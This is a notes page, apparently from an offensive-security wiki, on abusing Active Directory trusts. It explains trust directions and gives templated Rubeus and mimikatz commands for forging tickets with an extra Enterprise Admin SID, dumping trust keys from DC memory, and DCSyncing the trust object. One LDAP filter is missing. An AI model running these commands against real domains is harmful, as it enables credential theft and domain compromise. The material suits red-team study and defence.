Trusts abuses

Table of content

Domain trusts

Two domains can establish trust relations. This relation allows a user from domaine A to access resources hosted in domain B.

The trusts relations can be :

  1. One way
  2. Two way
  3. Transitive
  4. Un-transitive

One way trust

A One way trust is established from domain A to domain B. In this case, users from domain B can access resources based in domain A as domain A TRUST domain B.

However, users from domain A cannot access resources based in domain B.

Two way

In this kind of trust, the domains trust each other. Thus, users from domain A can access resources based in domain B and the other way around.


Transitive relation imply that if domain A trust domain B and domain C trust domain A, then domain C also trust domain B. With this configuration, users from domain B can access ressources inside domain C without an domain C explicitly trusting domain B.

Parent and Child

By default, when a child domain is created, a bidirectional trust between the parent and the child is created.

Thus, if the child domain is compromised and a Domain Admin account is retrieve, it is possible to compromise the parent domain too using the Domain Admin TGT with a SID History attribute. Indeed, jump from on domain to another is only allowed to Entreprise Admin users. Explicitly adding the user to the group is not needed, siimply adding the group SID to the SID History is enough.

There are several methods to add the Entreprise Admin SID into the user SID History such as patching the NTDS or through the DC Shadow technique but the easiest way is to forge the TGT with an extra SID. Rubeus support the /sids parameter that can be used to request a ticket with extra SID.

Golden and Diamonds tickets can be created with Rubeus using the /sids parameter that will contains the Entreprise Admin group SID.

Get TGT to another domain

First, an inter-realm key is needed. Thus, the generation of the TGS must be performed in three steps.

1 - Get TGT for the user

Rubeus.exe asktgt /user:${user} /domain:${startDomain} /aes256:${userKerberosKey} /nowrap

2 - Get a referal ticket

Ask a TGS signed with the trust account NTLM.

Rubeus.exe asktgs /service:krbtgt/${targetDomain} /domain:${startDomain} /dc:${dcStartDomain} /ticket:${userTGTFromStep1} /nowrap

3 - Get TGS in the target domain

The serverFromTagerDomain and the targetDomain MUST be different servers !

Rubeus.exe asktgs /service:cifs/${serverFromTargetDomain} /domain:${targetDomain} /dc:${dcFromTargetDomain} /ticket:${ticketFromStep2} /nowrap

Shared Trust Password

This technique can be used when there is a one-way trust where Domain A trusts Domain B and Domain A has been compromised.

As the trust is a one-way trust, Domain A should not be able to access ressources from Domain B.

Both domains involved in a trust store a shared password that is renewed every 30 days in the Trust Domain Object (TDO). These objects can be read by LDAP.

# AD Filter

Likewise, there is a user created with the pattern DOMAINB$. Once the key material is retrieved, it is possible to impersonnate this account to access to the trusted domain.

Dump from DC memory

The shared key material can be obtained directly by dumping the DC memory. Once connected on the DC mimikatz can be used to extract the key material:

mimikatz lsadump::trust /patch

As we are patching the DC memory, this operation can be particularly risky

DCSync with the TDO GUID

First, get the TDO GUID using PowerView or ADExplorer. Then, you can DCSync:

mimikatz @lsadump::dcsync /domain:${domainA} /guid:{${TdoGuid}}

# Look at the `OUT` result only

Retrieve a TGT for Domain B

Rubeus.exe asktgt /user:${DomainB$} /domain:${DomainB} /rc4:${DomainBKey} /nowrap

results matching ""

    No results matching ""

    results matching ""

      No results matching ""